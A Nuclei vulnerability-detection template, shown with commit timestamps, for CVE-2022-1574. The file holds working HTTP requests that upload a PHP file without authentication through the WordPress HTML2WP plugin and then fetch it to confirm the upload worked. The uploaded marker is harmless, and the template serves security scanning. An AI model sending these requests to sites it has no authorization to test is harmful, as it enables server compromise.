nuclei-templates/http/cves/2022/CVE-2022-1574.yaml

58 lines
1.9 KiB
YAML
Raw Normal View History

2022-10-19 10:16:16 +00:00
id: CVE-2022-1574
info:
2022-10-25 13:40:49 +00:00
name: WordPress HTML2WP <=1.0.0 - Arbitrary File Upload
2022-10-19 10:16:16 +00:00
author: theamanrawat
severity: critical
description: |
2022-10-25 13:40:49 +00:00
WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.
2022-10-19 10:16:16 +00:00
reference:
- https://wpscan.com/vulnerability/c36d0ea8-bf5c-4af9-bd3d-911eb02adc14
- https://wordpress.org/plugins/html2wp/
2022-10-19 10:31:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-1574
2022-10-19 10:16:16 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2022-10-19 10:16:16 +00:00
cve-id: CVE-2022-1574
cwe-id: CWE-434
cpe: cpe:2.3:a:html2wp_project:html2wp:*:*:*:*:*:*:*:*
epss-score: 0.60802
2022-10-19 10:16:16 +00:00
metadata:
max-request: 2
verified: "true"
tags: wp-plugin,wp,fileupload,unauth,wpscan,cve2022,wordpress,intrusive,cve,html2wp
2022-10-19 10:16:16 +00:00
http:
2022-10-19 10:16:16 +00:00
- raw:
- |
POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1
Host: {{Hostname}}
Content-Length: 253
Content-Type: multipart/form-data; boundary=---------------------------7816508136577551742878603990
Connection: close
-----------------------------7816508136577551742878603990
Content-Disposition: form-data; name="local_importing[]"; filename="{{randstr}}.php"
Content-Type: text/html
<?php
echo "File Upload success";
-----------------------------7816508136577551742878603990--
- |
GET /wp-content/uploads/html2wp/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- "status_code_1 == 302"
- "status_code_2 == 200"
2022-10-19 10:19:42 +00:00
- "contains(body_2, 'File Upload success')"
condition: and
2022-10-25 13:40:49 +00:00
# Enhanced by md on 2022/10/20